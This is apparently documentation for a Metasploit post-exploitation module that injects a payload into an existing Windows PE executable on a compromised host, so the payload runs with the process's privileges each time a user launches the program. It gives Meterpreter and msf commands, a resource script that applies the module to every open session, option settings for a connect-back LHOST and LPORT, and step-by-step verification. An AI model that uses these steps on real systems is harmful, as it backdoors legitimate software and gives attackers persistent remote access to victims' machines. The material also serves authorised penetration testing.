Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/peinjector

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/peinjector
msf post(peinjector) > show options
    ... show and set options ...
msf post(peinjector) > set SESSION session-id
msf post(peinjector) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/peinjector")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • LHOST: IP of host that will receive the connection from the payload.

Knowledge Base

Overview

This module inserts a payload into an existing PE file on a remote machine. When a user launches the binary, the payload will run as a thread within the process with the same privs.

Options

LHOST IP of host that will receive the connection from the payload. LPORT Port for Payload to connect to. OPTIONS Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD Windows Payload to inject into the targer executable. SESSION The session to run this module on. TARGETPE Path of the target executable to Path of the target executable to be injected

Limitations

This process is not reverse-able. If you would like to return the binary to it's original state, save a copy.

THE PAYLOAD WILL NOT SPAWN AN INDEPENDENT PROCESS/THREAD AND THE SESSION WILL DIE WITH THE BINARY AND/OR WILL KILL THE BINARY WHEN THE SESSION EXITS. Be careful closing sessions that were spawned using this method!

If a setting is wrong, it may cause the binary to fail to launch, alerting the user to possible shinnanigans.

Vulnerable Application

Vulnerable is a bad term; this module inserts shellcode into a pe file. That means any Windows pe files are vulnerable. Be aware that some files like calc.exe on later Windows versions are not entirely normal in their behvior and are not vulnerable

Verification Steps

  • get session on target
  • use post/windows/manage/peinjector
  • set payload <payload>
  • set lport <lport>
  • set lhost <lhost>
  • set targetpe <*.exe>
  • run
